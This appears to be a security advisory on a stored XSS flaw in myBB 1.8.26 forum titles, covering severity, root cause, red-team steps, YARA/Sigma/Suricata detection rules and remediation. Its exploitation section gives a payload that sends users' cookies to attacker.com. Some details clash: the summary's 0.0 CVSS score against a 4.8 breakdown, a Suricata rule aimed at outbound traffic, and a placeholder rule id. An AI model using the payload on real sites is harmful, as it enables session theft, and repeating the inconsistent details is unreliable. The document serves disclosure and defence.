CVE-2023-53977

Executive Summary

CVE-2023-53977 is a stored cross-site scripting (XSS) vulnerability in myBB Forums version 1.8.26. An authenticated administrator can inject malicious JavaScript into the forum title field when creating a new forum through the "Forums and Posts" > "Forum Management" interface. The injected script executes when any user views the forum listing, leading to potential session hijacking, defacement, or data theft. The vulnerability has a CVSS score of 0.0 (incorrectly assigned) but is assessed as medium severity due to the requirement of admin privileges and user interaction. No official patch is available, and no public exploit code or Nuclei template has been released.

Supply Chain & Package Security

This vulnerability affects the myBB application, which is a PHP-based forum software. The issue lies in the core application code, not in any third-party package or dependency. Administrators should verify the integrity of their myBB installation and monitor for any unofficial patches or updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Viewing forum listing)
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is medium due to the requirement of admin privileges and user interaction. However, the impact could be higher if an attacker leverages the XSS to steal admin session cookies or perform actions on behalf of other users.

Deep Dive & Mechanics

The vulnerability exists in the forum management system of myBB 1.8.26. When an administrator creates a new forum, the forum title is not properly sanitized before being stored in the database. The title field is rendered unsanitized when the forum listing is displayed, allowing arbitrary JavaScript to execute.

Root Cause: The application fails to escape or sanitize the forum title input before storing it in the database. When the title is later retrieved and displayed in the forum listing, the browser interprets any embedded HTML/JavaScript.

Attack Flow:

1. An authenticated administrator navigates to Admin CP > Forums & Posts > Forum Management.
2. The attacker inserts a malicious payload (e.g., <script>alert('XSS')</script>) into the "Forum Title" field.
3. The payload is stored in the database without sanitization.
4. When any user (including other admins or regular users) views the forum listing, the script executes in their browser.

Impact: The attacker can steal session cookies, redirect users to malicious sites, deface the forum, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (myBB 1.8.26): The vulnerable code is in the forum management module where the forum title is inserted into the database without sanitization. Example (simplified):

// Vulnerable: No sanitization
$title = $_POST['title'];
$db->insert_query("forums", array("title" => $title));

Patched Code (Hypothetical): A proper fix would sanitize the input using htmlspecialchars() or a similar function:

// Patched: Sanitize input
$title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8');
$db->insert_query("forums", array("title" => $title));

Note: No official patch has been released by the vendor.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to myBB Admin CP with forum management privileges.
• Ability to create or edit forums.

Exploitation Steps:

1. Log in to the myBB Admin CP.
2. Navigate to Forums & Posts > Forum Management.
3. Click "Add New Forum".
4. In the "Forum Title" field, enter a payload such as:

   <script>alert('XSS')</script>
   

5. Fill in other required fields and save the forum.
6. When any user views the forum listing, the script executes.

Advanced Payload Example:

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Detection & Defense)

Detection:

• Monitor Admin CP logs for unusual forum creation or modification activities.
• Look for forum titles containing <script>, onerror, onload, or other HTML/JavaScript event handlers.
• Use web application firewalls (WAF) to block malicious input in forum title fields.

Defense:

• Apply input validation and output encoding to all user-supplied data.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Regularly update myBB to the latest version (if a patch becomes available).
• Restrict admin privileges to trusted users only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the myBB server.
  • Unusual referrer headers or user-agent strings in server logs.
• File IOCs:
  • Modified forum database entries containing <script> tags or event handlers.
  • Suspicious entries in the mybb_forums table with title fields containing JavaScript.
• Behavioral IOCs:
  • Unexpected forum creation or modification by admin accounts.
  • Reports of users experiencing pop-ups or redirects when viewing forum listings.

Detection Engineering

YARA Rule

rule CVE_2023_53977_myBB_XSS {
    meta:
        description = "Detects stored XSS payloads in myBB forum titles"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-53977"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in myBB Forum Title
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in myBB forum title field
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-53977
logsource:
    category: application
    product: mybb
detection:
    selection:
        event: forum_created
        title|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in forum titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-53977 myBB Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/index.php"; http_uri; content:"module=forum-management"; http_uri; content:"title="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable forum creation for non-essential admin accounts.
2. Manually sanitize input by modifying the myBB source code to use htmlspecialchars() on the forum title before database insertion.
3. Implement a WAF rule to block requests containing <script> or event handlers in the forum title field.

Long-term Fix:

• Apply an official patch when released by the vendor.
• Upgrade to a patched version of myBB if available.
• Conduct a security audit of the myBB installation to identify other potential XSS vectors.

Workaround:

• Use a reverse proxy or web application firewall to filter malicious input.
• Restrict admin access to trusted IP addresses.

Valters IT